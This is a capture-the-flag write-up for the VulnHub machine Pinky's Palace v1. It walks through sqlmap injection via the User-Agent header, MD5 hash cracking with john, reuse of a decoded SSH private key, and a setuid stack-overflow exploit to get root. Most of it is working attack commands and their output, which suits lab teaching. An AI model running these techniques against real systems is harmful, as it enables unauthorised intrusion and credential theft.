Details
This machine is https://www.vulnhub.com/entry/pinkys-palace-v1,225/
Recon Phase
I started by carrying out a host discovery scan to find the target machine on the network
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00028s latency).
MAC Address: 0A:00:27:00:00:16 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00054s latency).
MAC Address: 08:00:27:19:04:D8 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0023s latency).
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.77 seconds
Once I had located the target, I carried out a service discovery scan
root@kali:~# nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http nginx 1.10.3
31337/tcp open http-proxy Squid http proxy 3.5.23
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.32 seconds
Noticing ssh was not in this list I carried out a wider range scan
root@kali:~# nmap -sV -p- 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.00095s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http nginx 1.10.3
31337/tcp open http-proxy Squid http proxy 3.5.23
64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.16 seconds
Getting A Shell
To start, I attempted to view what was on the webserver by navigating to http://192.168.56.101:8080, but received a 403 error
So I setup my browser to use the proxy that the server provided on port 31337
I then attempted to go back to http://192.168.56.101:8080 but got the same 403 again. I then decided to try http://127.0.0.1:8080 encase the server only accepted localhost connections
To carry on I began to configure dirbuster, starting by setting it up with the proxy
Once it was configured to use the proxy, I then set it up to run
I proceeded by navigating to http://127.0.0.1:8080/littlesecrets-main/
With no leads on credentials to login with, and having found so little with dirbuster. I set dirbuster up again this time in /littlesecrets-main directory, where it found /littlesecrets-main/logs.php. Upon inspection I found this file contained details of login attempts. Most interestingly, it included the user agent. The user agent is often overlooked during development as a lot of developers do not realise it is actually user input. Hoping to find and exploit using this, or another one of the stored parameters, I setup sqlmap
root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.101:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3
[SNIP]
---
Parameter: User-Agent (User-Agent)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: sqlmap/1.2.5#stable (http://sqlmap.org)'||(SELECT 'XIdp' FROM DUAL WHERE 3442=3442 AND SLEEP(5))||'
---
[19:08:11] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[SNIP]
Having found the user agent was indeed exploitable, I configured sqlmap again, this time to generate a list of tables in the db
root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.101:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --tables
[SNIP]
[19:18:42] [INFO] retrieved: pinky_sec_db
[19:19:30] [INFO] fetching tables for databases: 'information_schema, pinky_sec_db'
[19:19:30] [INFO] fetching number of tables for database 'pinky_sec_db'
[19:19:48] [INFO] retrieved: users
[SNIP]
Now knowing there was a table called users, I setup sqlmap one last time to dump its contents
root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.101:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --dump users
[SNIP]
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass | user |
+-----+----------------------------------+-------------+
| 1 | f543dbfeaf238729831a321c7a68bee4 | pinky |
| 2 | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+
[SNIP]
I took the hashes found by sqlmap and put them into a file called hash.txt in a format ready to be cracked
pinky:f543dbfeaf238729831a321c7a68bee4
pinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af
With the file ready, I set john on it to crack the hashes
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
3pinkysaf33pinkysaf3 (pinkymanage:)
1g 0:00:00:01 DONE (2018-07-09 22:15) 0.5494g/s 7881Kp/s 7881Kc/s 14728KC/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed
With some credentials of pinkymanage:3pinkysaf33pinkysaf3 I attempted to login through the web interface, but no luck. So, I then tried it via ssh
root@kali:~# ssh pinkymanage@192.168.56.101 -p 64666
pinkymanage@pinkys-palace:~$
Priv Esc
My first idea was to see what this user could do
pinkymanage@pinkys-palace:~$ sudo -l
Sorry, user pinkymanage may not run sudo on pinkys-palace.
Next I checked the list of users for anything interesting
pinkymanage@pinkys-palace:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
mysql:x:106:111:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
pinkymanage:x:1001:1001:pinkymanage,,,:/home/pinkymanage:/bin/bash
Now with a list of users I began to dig around the home dirs
pinkymanage@pinkys-palace:~$ ls -la
drwxr-xr-x 2 pinkymanage pinkymanage 4096 Mar 5 15:14 .
drwxr-xr-x 4 root root 4096 Feb 2 03:59 ..
lrwxrwxrwx 1 root root 9 Mar 5 15:14 .bash_history -> /dev/null
-rw-r--r-- 1 pinkymanage pinkymanage 220 Feb 2 03:59 .bash_logout
-rw-r--r-- 1 pinkymanage pinkymanage 3526 Feb 2 03:59 .bashrc
-rw-r--r-- 1 pinkymanage pinkymanage 675 Feb 2 03:59 .profile
pinkymanage@pinkys-palace:~$ cd ..
pinkymanage@pinkys-palace:/home$ ls -la
drwxr-xr-x 4 root root 4096 Feb 2 03:59 .
drwxr-xr-x 22 root root 4096 Jan 28 11:33 ..
drwx------ 3 pinky pinky 4096 Feb 2 02:08 pinky
drwxr-xr-x 2 pinkymanage pinkymanage 4096 Mar 5 15:14 pinkymanage
As there was nothing of interest in my accounts home directory and I could not access the other one, I had to look elsewhere. To start with I checked the web directory
pinkymanage@pinkys-palace:/home$ cd /var/www/html
pinkymanage@pinkys-palace:/var/www/html$ ls -la
drwxr-xr-x 3 root root 4096 Feb 2 02:25 .
drwxr-xr-x 3 root root 4096 Feb 2 02:24 ..
-rw-r--r-- 1 root root 583 Feb 2 02:25 index.html
-rw-r--r-- 1 root root 934 Feb 2 01:35 login.php
-rw-r--r-- 1 root root 464 Feb 2 01:33 logs.php
drwxr-xr-x 2 root root 4096 Feb 2 02:27 ultrasecretadminf1l35
Well a directory called ultrasecretadminf1l35 caught my attention
pinkymanage@pinkys-palace:/var/www/html$ cd ultrasecretadminf1l35
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls -la
drwxr-xr-x 2 root root 4096 Feb 2 02:27 .
drwxr-xr-x 3 root root 4096 Feb 2 02:25 ..
-rw-r--r-- 1 root root 99 Feb 2 01:17 note.txt
-rw-r--r-- 1 root root 2270 Feb 2 01:38 .ultrasecret
I started by reading the note
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..
This was interesting, an rsa key may be useful to priv esc to a higher level account
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat .ultrasecret
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMTZmeEwzLyto
L0lMVFpld2t2ZWtoSVExeWswb0xJK3kzTjRBSXRraGV6MTFJaGE4CkhjN0tPeC9MOWcyamQzSDhk
R1BVZktLcjlzZXF0Zzk3WktBOTVTL3NiNHczUXRsMUFCdS9wVktaQmJHR3NIRy8KeUl2R0VQS1Mr
QlNaNHN0TVc3SG54N2NpTXVod2Nad0xxWm1zeVN1bUVDVHVlUXN3TlBibElUbHJxb2xwWUY4eApl
NDdFbDlwSHdld05XY0lybXFyYXhDSDVUQzdVaGpnR2FRd21XM3FIeXJTcXAvaksvY3RiMVpwblB2
K0RDODMzCnUvVHlqbTZ6OFJhRFpHL2dSQklyTUduTmJnNHBaRmh0Z2JHVk9mN2ZlR3ZCRlI4QmlU
KzdWRmZPN3lFdnlCeDkKZ3hyeVN4dTJaMGFPTThRUjZNR2FETWpZVW5COWFUWXV3OEdQNHdJREFR
QUJBb0lCQUE2aUg3U0lhOTRQcDRLeApXMUx0cU9VeEQzRlZ3UGNkSFJidG5YYS80d3k0dzl6M1Mv
WjkxSzBrWURPbkEwT1VvWHZJVmwvS3JmNkYxK2lZCnJsZktvOGlNY3UreXhRRXRQa291bDllQS9r
OHJsNmNiWU5jYjNPbkRmQU9IYWxYQVU4TVpGRkF4OWdrY1NwejYKNkxPdWNOSUp1eS8zUVpOSEZo
TlIrWVJDb0RLbkZuRUlMeFlMNVd6MnFwdFdNWUR1d3RtR3pPOTY4WWJMck9WMQpva1dONmdNaUVp
NXFwckJoNWE4d0JSUVZhQnJMWVdnOFdlWGZXZmtHektveEtQRkt6aEk1ajQvRWt4TERKcXQzCkxB
N0pSeG1Gbjc3L21idmFEVzhXWlgwZk9jUzh1Z3lSQkVOMFZwZG5GNmtsNnRmT1hLR2owZ2QrZ0Fp
dzBUVlIKMkNCN1BzRUNnWUVBOElXM1pzS3RiQ2tSQnRGK1ZUQnE0SzQ2czdTaFc5QVo2K2JwYitk
MU5SVDV4UkpHK0RzegpGM2NnNE4rMzluWWc4bUZ3c0Jobi9zemdWQk5XWm91V3JSTnJERXhIMHl1
NkhPSjd6TFdRYXlVaFFKaUlQeHBjCm4vRWVkNlNyY3lTZnpnbW50T2liNGh5R2pGMC93bnRqTWM3
M3h1QVZOdU84QTZXVytoZ1ZIS0VDZ1lFQTVZaVcKSzJ2YlZOQnFFQkNQK3hyQzVkSE9CSUVXdjg5
QkZJbS9Gcy9lc2g4dUU1TG5qMTFlUCsxRVpoMkZLOTJReDlZdgp5MWJNc0FrZitwdEZVSkxjazFN
MjBlZkFhU3ZPaHI1dWFqbnlxQ29mc1NVZktaYWE3blBRb3plcHFNS1hHTW95Ck1FRWVMT3c1NnNK
aFNwMFVkWHlhejlGUUFtdnpTWFVudW8xdCtnTUNnWUVBdWJ4NDJXa0NwU0M5WGtlT3lGaGcKWUdz
TE45VUlPaTlrcFJBbk9seEIzYUQ2RkY0OTRkbE5aaFIvbGtnTTlzMVlPZlJYSWhWbTBaUUNzOHBQ
RVZkQQpIeDE4ci8yRUJhV2h6a1p6bGF5ci9xR29vUXBwUkZtbUozajZyeWZCb21RbzUrSDYyVEE3
bUl1d3Qxb1hMNmM2Ci9hNjNGcVBhbmcyVkZqZmNjL3IrNnFFQ2dZQStBenJmSEZLemhXTkNWOWN1
ZGpwMXNNdENPRVlYS0QxaStSd2gKWTZPODUrT2c4aTJSZEI1RWt5dkprdXdwdjhDZjNPUW93Wmlu
YnErdkcwZ016c0M5Sk54SXRaNHNTK09PVCtDdwozbHNLeCthc0MyVng3UGlLdDh1RWJVTnZEck9Y
eFBqdVJJbU1oWDNZU1EvVUFzQkdSWlhsMDUwVUttb2VUSUtoClNoaU9WUUtCZ1FEc1M0MWltQ3hX
Mm1lNTQxdnR3QWFJcFE1bG81T1Z6RDJBOXRlRVBzVTZGMmg2WDdwV1I2SVgKQTlycExXbWJmeEdn
SjBNVmh4Q2pwZVlnU0M4VXNkTXpOYTJBcGN3T1dRZWtORTRlTHRPN1p2MlNWRHI2Y0lyYwpIY2NF
UCtNR00yZVVmQlBua2FQa2JDUHI3dG5xUGY4ZUpxaVFVa1dWaDJDbll6ZUFIcjVPbUE9PQotLS0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
As this looked like base64 not an rsa key, I decoded it
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
e47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp/jK/ctb1ZpnPv+DC833
u/Tyjm6z8RaDZG/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT+7VFfO7yEvyBx9
gxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQABAoIBAA6iH7SIa94Pp4Kx
W1LtqOUxD3FVwPcdHRbtnXa/4wy4w9z3S/Z91K0kYDOnA0OUoXvIVl/Krf6F1+iY
rlfKo8iMcu+yxQEtPkoul9eA/k8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6
6LOucNIJuy/3QZNHFhNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1
okWN6gMiEi5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4/EkxLDJqt3
LA7JRxmFn77/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAiw0TVR
2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d1NRT5xRJG+Dsz
F3cg4N+39nYg8mFwsBhn/szgVBNWZouWrRNrDExH0yu6HOJ7zLWQayUhQJiIPxpc
n/Eed6SrcySfzgmntOib4hyGjF0/wntjMc73xuAVNuO8A6WW+hgVHKECgYEA5YiW
K2vbVNBqEBCP+xrC5dHOBIEWv89BFIm/Fs/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv
y1bMsAkf+ptFUJLck1M20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy
MEEeLOw56sJhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg
YGsLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR/lkgM9s1YOfRXIhVm0ZQCs8pPEVdA
Hx18r/2EBaWhzkZzlayr/qGooQppRFmmJ3j6ryfBomQo5+H62TA7mIuwt1oXL6c6
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
To attempt to use this key I saved it as key.rsa, and to avoid errors I chmod it to 600
root@kali:~# chmod 600 key.rsa
I then attempted to use it to gain access to root
root@kali:~# ssh 192.168.56.101 -p 64666 -i key.rsa
root@192.168.56.101's password:
That didn't work, so I instead attempted to access the pinky user
root@kali:~# ssh pinky@192.168.56.101 -p 64666 -i key.rsa
pinky@pinkys-palace:~$
With access to the pinky account, my next goal was root. I was unable to sudo as I didn't have the password for the account. Instead I dug into the home directory
pinky@pinkys-palace:~$ ls -la
drwx------ 3 pinky pinky 4096 Feb 2 02:08 .
drwxr-xr-x 4 root root 4096 Feb 2 03:59 ..
-rwsr-xr-x 1 root root 8880 Feb 2 02:03 adminhelper
lrwxrwxrwx 1 root root 9 Feb 1 00:27 .bash_history -> /dev/null
-rw-r--r-- 1 pinky pinky 220 Jan 28 11:51 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Jan 28 11:51 .bashrc
lrwxrwxrwx 1 pinky pinky 9 Feb 1 22:40 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 280 Feb 2 02:05 note.txt
-rw-r--r-- 1 pinky pinky 675 Jan 28 11:51 .profile
drwx------ 2 pinky pinky 4096 Feb 2 04:14 .ssh
-rw------- 1 pinky pinky 1815 Feb 2 01:13 .viminfo
A file called adminhelper owned by root caught my attention. So I inspected it
pinky@pinkys-palace:~$ file adminhelper
adminhelper: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f035a0120e92e5c0e569dc8f3f4e813ef41409b, not stripped
Having both setuid and being owned by root was a good sign, as if I could exploit it for a shell, the shell would run as root. I started by running the program
pinky@pinkys-palace:~$ ./adminhelper
Nothing happened, so I tried to provide a paramter
pinky@pinkys-palace:~$ ./adminhelper root
root
It just echoed my input back. But this gave me and idea, maybe it was vulnerable to a stack overflow. To test this I tried to trigger a seg fault
pinky@pinkys-palace:~$ ./adminhelper $(python -c "print 'A'*100")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
After a bit of trial and error I found the boundry that caused the seg fault was 72. To carry on I needed to inspect the program futher. So I fired up gdb
pinky@pinkys-palace:~$ gdb ./adminhelper
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000000618 _init
0x0000000000000640 strcpy@plt
0x0000000000000650 puts@plt
0x0000000000000660 execve@plt
0x0000000000000670 setegid@plt
0x0000000000000680 seteuid@plt
0x00000000000006a0 _start
0x00000000000006d0 deregister_tm_clones
0x0000000000000710 register_tm_clones
0x0000000000000760 __do_global_dtors_aux
0x00000000000007a0 frame_dummy
0x00000000000007d0 spawn
0x0000000000000813 main
0x0000000000000860 __libc_csu_init
0x00000000000008d0 __libc_csu_fini
0x00000000000008d4 _fini
The function called spawn caught my attention, so I forced it to run
(gdb) break main
Breakpoint 1 at 0x817
(gdb) run
Starting program: /home/pinky/adminhelper
Breakpoint 1, 0x0000555555554817 in main ()
(gdb) jump spawn
Continuing at 0x5555555547d4.
process 1270 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
$
This caused a shell to spawn, but after disassembling the code and inspecting it, there was no way to trigger this to happen in normal program flow. As such I had to work on triggering a stack overflow to redirect the programs execution. So after a bit of trial and error, I was able to find a situation where I could overwrite the return address in EIP
pinky@pinkys-palace:~$ gdb --args ./adminhelper $(python -c "print 'A'*72+'B'*6")
(gdb) run
Starting program: /home/pinky/adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
The presence of the 42's was what I was looking for as it is the hex value of "B". Now aware I could redirect the execution, I just needed to work out the memory address to send it too. As I had already run the program this was simple as all I had to do was disassemble the spawn function and use the address of the first instruction
(gdb) disas spawn
Dump of assembler code for function spawn:
0x00005555555547d0 <+0>: push rbp
0x00005555555547d1 <+1>: mov rbp,rsp
0x00005555555547d4 <+4>: sub rsp,0x10
0x00005555555547d8 <+8>: mov DWORD PTR [rbp-0x4],0x0
0x00005555555547df <+15>: mov DWORD PTR [rbp-0x8],0x0
0x00005555555547e6 <+22>: mov eax,DWORD PTR [rbp-0x4]
0x00005555555547e9 <+25>: mov edi,eax
0x00005555555547eb <+27>: call 0x555555554680 <seteuid@plt>
0x00005555555547f0 <+32>: mov eax,DWORD PTR [rbp-0x8]
0x00005555555547f3 <+35>: mov edi,eax
0x00005555555547f5 <+37>: call 0x555555554670 <setegid@plt>
0x00005555555547fa <+42>: mov edx,0x0
0x00005555555547ff <+47>: mov esi,0x0
0x0000555555554804 <+52>: lea rdi,[rip+0xd9] # 0x5555555548e4
0x000055555555480b <+59>: call 0x555555554660 <execve@plt>
0x0000555555554810 <+64>: nop
0x0000555555554811 <+65>: leave
0x0000555555554812 <+66>: ret
End of assembler dump.
Now knowing my target memory address was 0x00005555555547d0 I prepared an exploit, only injecting the 5555555547d0 so as to avoid having null bytes in my shellcode. Within the shellcode the bytes were in reverse order as the architecture is little endian. This meant the command to exploit this program was
$(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55'")
So I ran it
pinky@pinkys-palace:~$ ./adminhelper $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�GUUUU
#
Now I had a shell it was time to check it worked
# whoami
root
With a root shell, all that was left to do was get the flag
# cd /root
# ls -la
drwx------ 3 root root 4096 Mar 5 15:17 .
drwxr-xr-x 22 root root 4096 Jan 28 11:33 ..
lrwxrwxrwx 1 root root 9 Feb 1 00:25 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
lrwxrwxrwx 1 root root 9 Feb 2 01:34 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Feb 2 03:55 .ssh
-rw------- 1 root root 14803 Mar 5 15:17 .viminfo
-rw-r--r-- 1 root root 207 Mar 5 15:13 root.txt
# cat root.txt
===========[!!!CONGRATS!!!]===========
[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther
Flag: [REDACTED]
The machine is done. The binary exploit on this machine was quite nice, as the program already had everything needed to spawn the shell, so there was no need for a NOP sled or for any actual shell spawning shellcode
